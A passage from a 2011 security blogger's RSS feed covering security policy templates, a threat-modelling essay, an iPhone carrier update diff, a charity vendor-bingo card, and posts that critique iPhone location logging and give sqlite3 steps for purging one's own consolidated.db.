downloaded and modified to suit their need. Sites such as &lt;a href=&quot;http://www.csoonline.com/article/486324/security-tools-templates-policies&quot;&gt;CSOOnline&lt;/a&gt; or &lt;a href=&quot;http://www.packetsource.com/categories/security-policies/sample-policies/&quot;&gt;PacketSource&lt;/a&gt; have links to some policies, but by far the most comprehensive source of free security policy templates is &lt;a href=&quot;http://www.sans.org/security-resources/policies/&quot;&gt;SANS&lt;/a&gt;.
 The problem is people seem to look at these, think it looks like work, 
and move on to a consultancy that&#039;s happy to charge for a month&#039;s worth 
of time. Even when you don&#039;t, the policies are buried in sub-pages that 
don&#039;t always make sense (for example, why is the Acceptable Use Policy 
put under &amp;quot;computer security&amp;quot;), even then several of them are only 
available in PDF form (hence not editable), even though they are 
explicitly written as modifiable templates. What I did was to go through
 all of these pages, download the documents, convert them into relevant 
formats and categorise them into a single view in a spreadsheet with 
hyperlinks to the documents. I&#039;ve also included their guidance documents
 on how to write good sec policies, and ISO 27001-linked policy 
roadmaps. I haven&#039;t modified any of the actual content of the documents,
 and those retain their original copyright. I&#039;m not trying to claim any 
credit for others&#039; hard work, merely make the stuff a little more 
accessible.&lt;/p&gt; 
&lt;p&gt;You can download the index and documents &lt;a href=&quot;http://www.sensepost.com/cms/resources/labs/tools/management/policies.zip&quot;&gt;HERE&lt;/a&gt;.&lt;/p&gt; 
&lt;p&gt;In future, I hope to add more &amp;quot;good&amp;quot; policies (a few of the SANS 
policies aren&#039;t wonderful), and also look into expanding into security 
standards (ala &lt;a href=&quot;http://benchmarks.cisecurity.org/en-us/?route=default&quot;&gt;CIS Security&lt;/a&gt;)
 in the future. If necessary, take this to a consultancy, and ask them 
to spend some time making these specific to your organisation and way of
 doing things, but please, if you aren&#039;t getting the basics right, don&#039;t
 focus on these. In the meantime, if you&#039;re looking for information 
security policies to go away, so you can get on with the bigger problems
 organisations, and our industry in general are facing, then this should
 be a useful tool.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 19 Jul 2011 13:27:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1035-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Threat Modeling vs Information Classification</title>
    <link>http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1034</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1034</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This was originally posted on the &lt;a href=&quot;http://www.sensepost.com/blog/5873.html&quot;&gt;SensePost blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;/em&gt;Over the last few years there has been a popular meme talking about 
information centric security as a new paradigm over vulnerability 
centric security. I&#039;ve long struggled with the idea of 
information-centricity being successful, and in replying to a post by &lt;a href=&quot;https://logicalsecurity.wordpress.com/2011/06/07/information-class-ed-ification/&quot;&gt;Rob Bainbridge&lt;/a&gt;, quickly jotted some of those problems down.&lt;/p&gt; 
&lt;p&gt;In pre-summary, I&#039;m still sceptical of information-classification 
approaches (or information-led control implementations)&amp;#160; as I feel they 
target a theoretically sensible idea, but not a practically sensible 
one.&lt;/p&gt; Information gets stored in information containers (to borrow a phrase from &lt;a href=&quot;http://www.cert.org/octave/&quot;&gt;Octave&lt;/a&gt;)
 such as the databases or file servers. This will need to inherit a 
classification based on the information it stores. That&#039;s easy if it&#039;s a
 single purpose DB, but what about a SQL cluster (used to reduce 
processor licenses) or even end-user machines? These should be moved up 
the classification chain because they may store some sensitive info, 
even if they spend the majority of the time pushing not-very-sensitive 
info around. In the end, the hoped-for cost-saving-and-focus-inducing 
prioritisation doesn&#039;t occur and you end up having to deploy a 
significantly higher level of security to most systems. Potentially, you
 could radically re-engineer your business to segregate data into 
separate networks such as some PCI de-scoping approaches suggest, but, 
apart from being a difficult job, this tends to counter many of the 
business benefits of data and system integrations that lead to the 
cross-pollination in the first place.

&lt;p&gt;Next up, I feel this fails to take cognisance of what we call 
&amp;quot;pivoting&amp;quot;; the escalation of privileges by moving from one system or 
part of a system to another. I&#039;ve seen situations when the low 
criticality network monitoring box is what ends up handing out the 
domain administrator password. It had never been part of 
internal/external audits scope, none of the vulns showed up on your 
average scanner, it had no sensitive info etc. Rather, I think we need 
to look at physical, network and trust segregation between &lt;strong&gt;systems&lt;/strong&gt;, and then &lt;strong&gt;data&lt;/strong&gt;.
 It would be nice to go data-first, but DRM isn&#039;t mature (read simple 
&amp;amp; widespread) enough to provide us with those controls.&lt;/p&gt; 
&lt;p&gt;Lastly, I feel information-led approaches often end up missing the 
value of raw functionality. For example, a critical trade execution 
system at an investment bank could have very little sensitive data 
stored on it, but the functionality it provides (i.e. being able to 
execute trades using that bank&#039;s secret sauce) is hugely sensitive and 
needs to be considered in any prioritisation.&lt;/p&gt; 
&lt;p&gt;I&#039;m not saying I have the answers, but we&#039;ve spent a lot of time 
thinking about how to model how our analysts attack systems and whether 
we could &amp;quot;guess&amp;quot; the results of multiple pentests across the 
organisation systematically, based on the inherent design of your 
network, systems and authentication.&amp;#160;The idea is to use that model to 
drive prioritisation, or at least a testing plan. This is probably 
closer aligned to the idea of a threat-centric approach to security, and
 suffers from a lack of data in this area (I&#039;ve started some preliminary
 work on incorporating VERIS metrics).&lt;/p&gt; 
&lt;p&gt;In summary, I think information-centric security fails in three ways;
 by providing limited prioritiation due to the high number of shared 
information containers in IT environments, by not incorporating how 
attackers move through a networks and by ignoring business critical 
functionality.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 09 Jun 2011 15:24:50 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1034-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Vodacom ZA iPhone Carrier Update</title>
    <link>http://www.singe.za.net/blog/archives/1033-Vodacom-ZA-iPhone-Carrier-Update.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1033-Vodacom-ZA-iPhone-Carrier-Update.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1033</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1033</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Yesterday I got sent a carrier update on my iPhone. I was interested in what this does, so pulled it apart, this is the list of changes it made. This is pretty uninteresting and just an excuse for me to understand carrier updated.&lt;br /&gt; &lt;p&gt;Apple has a post on carrier updated &lt;a href=&quot;http://support.apple.com/kb/HT1970?viewlocale=en_US&quot; title=&quot;About carrier updates settings in iTunes&quot;&gt;here&lt;/a&gt;, which specifies the locations the files are downloaded to your machine. They have a &amp;quot;.ipcc&amp;quot; extension, but file shows them to be simple ZIP files. Unlike firmware updates, iTunes does not delete the old version on download of a new one, so it&#039;s easy to compare them. You can unzip them, then you&#039;ll need to use plutil to convert the .plist files from binary form to XML with the command: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;plutil -convert xml1 &amp;lt;filename&amp;gt;.plist&lt;/font&gt; . After that, a simple diff -u showed the changes with context. This were helpfully explained by the &lt;a href=&quot;http://www.theiphonewiki.com/wiki/index.php?title=Carrier.plist&quot;&gt;iPhone Wiki&#039;s breakdown of the attributes&lt;/a&gt;. The relevant changes were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; The maximum number of Bluetooth modem tethering connections has been set to 5&lt;/li&gt;
&lt;li&gt;Facetime registration SMS&#039;es will not require an opt-in due to cost&lt;/li&gt;
&lt;li&gt;A roaming voicemail number has been explicitly set (an UK number)&lt;/li&gt;
&lt;li&gt;A new &amp;quot;blank&amp;quot; APN was added. I have no idea what this is for, and it doesn&#039;t seem to appear on the actual phone as an option.&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;Some carrier pictures have been updated&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Tue, 07 Jun 2011 10:05:23 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1033-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Security Vendor Bingo</title>
    <link>http://www.singe.za.net/blog/archives/1032-Security-Vendor-Bingo.html</link>
            <category>Play</category>
    
    <comments>http://www.singe.za.net/blog/archives/1032-Security-Vendor-Bingo.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1032</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1032</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;a href=&quot;http://zonbi.org/&quot;&gt;Matt Erasmus&lt;/a&gt; came up with &lt;a href=&quot;http://www.zonbi.org/archives/586&quot;&gt;a great idea&lt;/a&gt; for taking the &lt;a href=&quot;http://blogs.gartner.com/greg_young/2011/02/11/dont-forget-your-security-bingo-card-for-the-rsa-conference-next-week/&quot;&gt;Security Bingo card from RSA&lt;/a&gt;, and making&lt;a href=&quot;/docs/vendor-bingo.pdf&quot;&gt; our own&lt;/a&gt; for the ITWeb Security Summit, and using it to generate some funds for &lt;a href=&quot;http://www.hackersforcharity.org/&quot;&gt;Hackers for Charity&lt;/a&gt;. Last year, thanks to companies such as ITWeb, SensePost &amp;amp; Telspace we managed to send R15k over to HFC, and it would be nice to do it (or more) again.&lt;br /&gt; &lt;p&gt;I have a long standing bug-bear over the uselessness that security vendors seem to bring to cons in ZA. They respond to requests for &amp;quot;please don&#039;t pitch your product&amp;quot; by talking generically about the &amp;quot;outsourced next generation cloud-based firewall industry&amp;quot; as if that was some sort of legitimate field that didn&#039;t constitute only their product. They still send sales/pre-sales/product specialists with their EMEA marketing deck, rather than something of actual value. But as long as they&#039;re offering money, people take it, no questions asked. You&#039;d think the empty rooms and people walking out of their presentations would send the message, but instead a local distributor finds a new vendor, or the vendor sends a new person, so the lesson is never learned.&lt;/p&gt; 
&lt;p&gt;That&#039;s not why Matt suggested the bingo, but it&#039;s one of the main reason&#039;s I helped. I want the vendor telling us that their product will block 100% of APTs to walk away feeling dirty and ashamed, and maybe even realise the error of their ways and turn into the next Charlie Miller. Also, I want to help Johnny, and the great work HFC is doing in Uganda (and Kenya).&lt;/p&gt; 
&lt;p&gt;So, as Matt &lt;a href=&quot;http://www.zonbi.org/archives/604&quot;&gt;already said&lt;/a&gt;. Find either he or I at the security summit (we&#039;ll be wearing I Hack Charities shirts) and give us R50 (or more, it&#039;s for a good cause) and we&#039;ll give you a &lt;a href=&quot;/docs/vendor-bingo.pdf&quot;&gt;security vendor bingo card&lt;/a&gt; (feel free to pre-print yours). Fill it out during the talks or on the con floor, optionally with the name of the vendor so we can tally a highscore list, then either return it to us in person, or mail it to the address printed on it, and we&#039;ll give you the results. There&#039;ll be some sort of prize if we can muster one, one for the person to complete first with the highest score, and one for the person who comes up with the best &amp;quot;other&amp;quot; phrase. Given that you could just tick them all off and give yourself a first high score, this will be a &amp;quot;Don&#039;t be a Douche&amp;quot; style contest.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 08 May 2011 20:56:08 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1032-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Blocking iPhone Tracking (consolidated.db) Solved</title>
    <link>http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1030</wfw:comment>

    <slash:comments>4</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1030</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;After &lt;a href=&quot;http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html&quot;&gt;several days&lt;/a&gt; of trying all the different solutions proposed as the story has emerged, I think I&#039;ve finally got a solution that is both usable (i.e. doesn&#039;t break anything) and permanent (i.e. apply once and let dry).&lt;/p&gt; 
&lt;p&gt;My &lt;a href=&quot;http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html&quot;&gt;original suggestion&lt;/a&gt; of rubbish values + read-only didn&#039;t work, &lt;a href=&quot;http://www.redmondpie.com/untrackerd-prevent-iphone-location-tracking-cydia-jailbreak-only/&quot;&gt;untrackerd&lt;/a&gt; takes up valuable memory &amp;amp; battery and misses nearly all the worrying data &amp;amp; the SQL triggers file from &lt;a href=&quot;http://seclists.org/fulldisclosure/2011/Apr/408&quot;&gt;Tehtri&lt;/a&gt; also missed some data and breaks some functionality (most notably the compass).&amp;#160;&lt;/p&gt; &lt;p&gt;However, Tehtri&#039;s idea was the best. They proposed a set of SQL triggers that would reset the consolidated.db to a clean state and prevent it filling up with your location data. All this without requiring a persistent daemon or the need to re-apply the fix. I&#039;ve edited their SQL (you can see the changes &lt;a title=&quot;Changes from the original&quot; href=&quot;/utils/iphone-tracker/singe-iphone-privacy-full.sql&quot;&gt;here&lt;/a&gt;, this is merely for those interested, don&#039;t run it) to reset consolidated.db to how it looks when locationd creates a blank new one, then modified the triggers to do the same (rather than just blank all the tables). I&#039;ve also extended it to include some tables they had missed, and not delete some data it shouldn&#039;t (e.g. blanking TableVersions makes locationd unhappy, and it has no location data in it anyway) . Finally, I leave the last entry of the compass calibration (in the trigger too) so you don&#039;t have to constantly recalibrate your compass (every minute or so it was). I haven&#039;t found it break anything yet (even location via nearby wifi BSSID works without storing the values). Grab the final, clean version from &lt;a href=&quot;/utils/iphone-tracker/singe-iphone-privacy.sql&quot;&gt;here&lt;/a&gt;, and apply with the sqlite command:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;sqlite3 consolidated.db &#039;.read singe-iphone-privacy.sql&#039;&lt;/font&gt; &lt;/p&gt; 
&lt;p&gt;There are three ways to do this:&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;On a jailbroken phone with sqlite3 installed, you can scp or wget the file to the device and do it there &amp;amp; then.&lt;/li&gt; 
&lt;li&gt;On a jailbroken phone, you can copy consolidated.db off, apply the patch, then copy it back.&lt;/li&gt; 
&lt;li&gt;On an unjailbroken (aka normal) phone, you can use the backup &amp;amp; restore method&amp;#160;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;p&gt;If you&#039;re jailbroken, you can figure it out.&lt;/p&gt;
&lt;p&gt;Update: The below instructions no longer work after iTune 9.2 implemented a new proprietary backup format. I&#039;m hoping the documentation &lt;a href=&quot;https://code.google.com/p/iphonebackupbrowser/wiki/MbdbMbdxFormat&quot;&gt;here&lt;/a&gt; will allow a quick update of the file hash &amp;amp; size to let the restore work, but until I or someone else has time. You&#039;ll need to be jailbroken to protect yourself.&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;For normal people, follow these instructions:&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;Plug in your iPhone and let iTunes make a backup. Make sure the backup isn&#039;t encrypted, we&#039;ll do that later.&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Go to your backups directory. On OSX it will be in &lt;font face=&quot;courier new,courier,monospace&quot;&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/MobileSync/Backup/&lt;/font&gt;&amp;#160;&amp;#160;In Win7 it will be in&amp;#160;&lt;tt&gt;&lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Apple Computer\MobileSync\Backup\&lt;/font&gt; &lt;/tt&gt;other windows locations are listed &lt;a href=&quot;http://support.apple.com/kb/ht1766&quot;&gt;here&lt;/a&gt;.&amp;#160;It will contain several randomly named directories, change 
into the one with the latest timestamp (sort by last-modified date) to work on your last backup.&lt;/li&gt; 
&lt;li&gt;Get hold of the iphonels.py file. Either by copy pasting from the original &lt;a href=&quot;http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup&quot;&gt;here&lt;/a&gt;, or just downloading &lt;a title=&quot;iPhone backup list&quot; href=&quot;/utils/iphone-tracker/iphone-ls.py&quot;&gt;this one&lt;/a&gt;.&lt;/li&gt; 
&lt;li&gt;Look for the randomly named file that maps to consolidated.db by running the iphone-ls.py and grepping for &amp;quot;consolidated&amp;quot; e.g.: &lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;./iphone-ls.py | grep consolidated&lt;/font&gt;. It will look something like &#039;&lt;span style=&quot;font-family: &#039;courier new&#039;,courier,monospace;&quot;&gt;3086b93ce76d2847dc283405811e284a7c815839&#039;.&amp;#160;&lt;/span&gt;If you&#039;re on Windows, you&#039;ll need to install &lt;a href=&quot;http://www.python.org/download/windows/&quot;&gt;python&lt;/a&gt;.
&lt;/li&gt; 
&lt;li&gt;The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.&lt;/li&gt; 
&lt;li&gt;Apply the SQLite modifications from here to the file, either use the sqlite3 command line utility e.g. &lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;sqlite3 3086b93ce76d2847dc283405811e284a7c815839 &#039;.read singe-iphone-privacy.sql&#039;&lt;/font&gt;, or use your &lt;a href=&quot;http://www.sqlite.org/cvstrac/wiki?p=ManagementTools&quot;&gt;favourite GUI&lt;/a&gt;.&lt;/li&gt; 
&lt;li&gt;Overwrite all copies of consolidated.db in each backup directory with the new version. This is easy to do as the random file name is consistent across backups, so just copy the new file into each backup directory.
&lt;/li&gt; 
&lt;li&gt;Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.&lt;/li&gt; 
&lt;/ol&gt;&lt;em&gt;Update 1: Restoring to a non-jailbroken phone doesn&#039;t work. Updated the .sql with the &#039;vacuum&#039; command to flush out old data (thanks Istvan)&lt;/em&gt;.&lt;br /&gt; 
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 27 Apr 2011 00:43:32 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1030-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Apple's PR on Location Data</title>
    <link>http://www.singe.za.net/blog/archives/1031-Apples-PR-on-Location-Data.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1031-Apples-PR-on-Location-Data.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1031</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1031</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Apple responded to the location logging stuff with &lt;a href=&quot;http://www.apple.com/pr/library/2011/04/27location_qa.html&quot;&gt;a Q&amp;amp;A&lt;/a&gt; aimed at dispelling some of they myths all the hype has created. The only problem is, they try to dispel some of the facts too. &lt;blockquote&gt;1. Why is Apple tracking the location of my iPhone? 




&lt;p&gt;&lt;strong&gt;
Apple is not tracking the location of your iPhone&lt;/strong&gt;. Apple has never done so and has no plans to ever do so. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;blockquote&gt;3. Why is my iPhone logging my location?





&lt;p&gt;&lt;strong&gt;
The iPhone is not logging your location. Rather, it’s maintaining a database of Wi-Fi hotspots and cell towers around your current location&lt;/strong&gt;, some of which may be located more than one hundred miles away from your iPhone, to help your iPhone rapidly and accurately calculate its location when requested. Calculating a phone’s location using just GPS satellite data can take up to several minutes. iPhone can reduce this time to just a few seconds by using Wi-Fi hotspot and cell tower data to quickly find GPS satellites, and even triangulate its location using just Wi-Fi hotspot and cell tower data when GPS is not available (such as indoors or in basements). These calculations are performed live on the iPhone using a crowd-sourced database of Wi-Fi hotspot and cell tower data that is generated by tens of millions of iPhones sending the geo-tagged locations of nearby Wi-Fi hotspots and cell towers in an anonymous and encrypted form to Apple. &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;blockquote&gt;4. Is this crowd-sourced database stored on the iPhone? 





&lt;p&gt;
The entire crowd-sourced database is too big to store on an iPhone, so we download an appropriate subset (cache) onto each iPhone. This cache is protected but not encrypted, and is backed up in iTunes whenever you back up your iPhone. The backup is encrypted or not, depending on the user settings in iTunes. &lt;strong&gt;The location data that researchers are seeing on the iPhone is not the past or present location of the iPhone&lt;/strong&gt;, but rather the locations of Wi-Fi hotspots and cell towers surrounding the iPhone’s location, which can be more than one hundred miles away from the iPhone. We plan to cease backing up this cache in a software update coming soon (see Software Update section below). &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;Their claim pretty explicitly states, that they aren&#039;t storing location data based on your actual position. The facts would appear to indicate otherwise (these are based on the copy of consolidated.db that was on my phone:&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The tables &amp;quot;CellLocationHarvest&amp;quot; &amp;amp; &amp;quot;CellLocationLocal&amp;quot; store both &amp;quot;Speed&amp;quot; and &amp;quot;Course&amp;quot; entry (several others have these fields, but did not have any or valid data in them). Unless cell towers have a habit of moving about, this would appear to be logging *your speed &amp;amp; direction* and not just &amp;quot;tower data&amp;quot;. Granted, the &amp;quot;CellLocation&amp;quot; table containing the most significant amount of data, did not have valid data in the speed fields.&lt;/li&gt; 
&lt;li&gt;The table names imply different uses for e.g. we&#039;d expect CdmaCellLocation, CellLocation &amp;amp; WifiLocation tables to store the info they speak about above. But the &amp;quot;LocationHarvest&amp;quot; table not only stores valid speed &amp;amp; course fields, it also assigns a unique &amp;quot;Trip ID&amp;quot; e.g&amp;#160;D47CA532-84C9-40CD-8BE6-B3895837DA3C. This looks like a unique identifier based on *your* movements, not those of the cell towers.&lt;/li&gt; 
&lt;li&gt;Even if this was downloading offline caches of cell towers &amp;amp; APs for assisted GPS, given this includes details as granular as my neighbours Wifi AP, this is still more than enough to track your actual location. We&#039;ve seen large data sets with &amp;quot;unique anonymous&amp;quot; identifiers deanonymised many times.&lt;/li&gt; 
&lt;li&gt;The data is good enough for forensic investigators to use, &lt;a href=&quot;https://alexlevinson.files.wordpress.com/2011/04/photo.jpg&quot;&gt;here&#039;s a screenshot&lt;/a&gt; from a book on iOS forensics: &amp;quot;consolidated.db [snip] is potentially one of the most forensically rich files an analyst can use.&amp;quot; It strikes me that if it&#039;s good enough to use in the courts, then the implications may be a bit wider than Apple claims.&lt;/li&gt; 
&lt;li&gt;And finally, further down the QA, Apple contradicts their statement of &amp;quot;The iPhone is not logging your location&amp;quot; by explaining that it is, and this will be used for traffic information. This explains the &amp;quot;LocationHarvest&amp;quot; table mentioned above.&lt;/li&gt; 
&lt;/ul&gt; 
&lt;blockquote&gt;8. What other location data is Apple collecting from the iPhone besides crowd-sourced Wi-Fi hotspot and cell tower data?




&lt;p&gt; Apple is now collecting anonymous traffic data to build a crowd-sourced traffic database with the goal of providing iPhone users an improved traffic service in the next couple of years.&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;On the up side, they acknowledge at least one bug:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;7. When I turn off Location Services, why does my iPhone sometimes continue updating its Wi-Fi and cell tower data from Apple’s crowd-sourced database?&lt;/p&gt; 
&lt;p&gt;It shouldn’t. This is a bug, which we plan to fix shortly (see Software Update section below). &lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;I haven&#039;t seen what is actually transmitted to Apple, so can&#039;t comment on how much is uploaded or downloaded. However, I can attest to have seen the iPhone populate the file with tower &amp;amp; AP information when first populating it with data (123 cell towers, and 401 wifi APs). So that part is at least true.&lt;/p&gt; 
&lt;p&gt;In conclusion, I certainly don&#039;t think this is a serious threat, but this file does store rich location data that can be used by anyone with access to it to disclose a significant history of your movements. Apple has attempted to play that down, but for people to who the privacy of that data may be of critical importance (think protesters in Lybia or Egypt), they should &lt;a href=&quot;http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html&quot;&gt;take steps to protect themselves&lt;/a&gt;. Finally, it is also my belief, that based on the data in the file, if Apple has access to the same data, then there is enough information for them to uniquely identify both you, and your location history. They claim they aren&#039;t, but it just takes one breach for all of this data to end up somewhere we need to make different assumptions about, and I&#039;d prefer that the location data Apple (and others, like my mobile service provider) collected without my consent, be deleted.&lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 28 Apr 2011 06:37:02 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1031-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Quick note on the iPhone Location Tracking Disclosure</title>
    <link>http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1029</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1029</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;Update 3: I&#039;ve modded Tehtri&#039;s approach and it appears to be working nicely, read &lt;a href=&quot;http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html&quot;&gt;this post&lt;/a&gt;.&amp;#160;&lt;/p&gt;
&lt;p&gt;Update 2: &lt;a href=&quot;http://www.redmondpie.com/untrackerd-prevent-iphone-location-tracking-cydia-jailbreak-only/&quot;&gt;untrackerd&lt;/a&gt; seems to clear out two tables only, and not the most worrying tables either (at least in my file). After 2 days of use, it didn&#039;t change a single entry in my consolidated.db (I was using v0.2). So I&#039;ve ditched it. However, the guys from &lt;a href=&quot;http://www.tehtri-security.com/&quot; title=&quot;Tehtri Security&quot;&gt;Tehtri Security&lt;/a&gt;, &lt;a href=&quot;http://seclists.org/fulldisclosure/2011/Apr/408&quot;&gt;posted a leet idea to Full Disclosure&lt;/a&gt; of using triggers (I had no idea SQLite3 could do triggers). The triggers ensure that the relevant tables get auto-truncated when written to. You can download &lt;a href=&quot;http://www.tehtri-security.com/tehtris-iphone-privacy.sql&quot;&gt;this SQL file&lt;/a&gt;, and apply it to consolidated.db with the command (assuming it&#039;s in the same directory):&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;pre style=&quot;margin-top: 0em; margin-right: 0em; margin-bottom: 0em; margin-left: 0em; &quot;&gt;sqlite3 consolidated.db &#039;.read tehtris-iphone-privacy.sql&#039;&lt;/pre&gt; 
&lt;p&gt;I&#039;ve checked and applied the triggers, and they seem to be functioning (I watched the file shrink as loc data was written), and location services are working. So far so good. You can either use the backup &amp;amp; restore method discussed below, or if jailbroken, you can scp the file off the device, apply the change and scp back, or install sqlite3 via Cydia and do it on the device.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;&lt;em&gt;
Update 1 - Warning: This breaks location services. I didn&#039;t notice because I spoof my location to a bunch of apps, whoops. The specific aspect that breaks location services appears to be the use of the stub consolidated.db file. The read-only permission flags get ignored on an otherwise &amp;quot;correct&amp;quot; file. You can delete the file regularly and it won&#039;t cause any problems however. There is a jailbroken application, untrackerd, which will run a daemon to do it for you. When I get a chance, I&#039;d like to extend the SBSettings GPS switch to delete the file too (i.e. delete consolidated.db on GPS switch on).&lt;/em&gt;&lt;/p&gt; 
&lt;p&gt; Yesterday, Pete Warden and Alasdair Allen released &lt;a href=&quot;http://petewarden.github.com/iPhoneTracker/#faq&quot;&gt;some research&lt;/a&gt; and a tool that showed that Apple has been collecting detailed location data since v4 of iOS in a file called consolidated.db. Apart from the worry of wtf Apple is collecting such detailed information, this file is available in the clear in all your iTunes backups, meaning any application on your computer can access it if you haven&#039;t encrypted your backups. To demonstrate that, Pete and Alasdair released &lt;a href=&quot;http://petewarden.github.com/iPhoneTracker/&quot; title=&quot;iPhoneTracker&quot;&gt;a demo app&lt;/a&gt; that gives a scary amount of detail about your movements.&lt;br /&gt; &lt;/p&gt; &lt;p&gt;The only advice given by the researchers was to encrypt your backups. This will prevent other apps from reading the file out of them, but it won&#039;t stop the file from existing at the source. I did some quick poking and found a better solution. You can edit your consolidated.db to contain junk data, and replace it in your backups, and restore your phone. If you&#039;ve got a jailbroken phone, you can also remove write permissions to the file, and it won&#039;t get updated (based on the limited testing I performed).

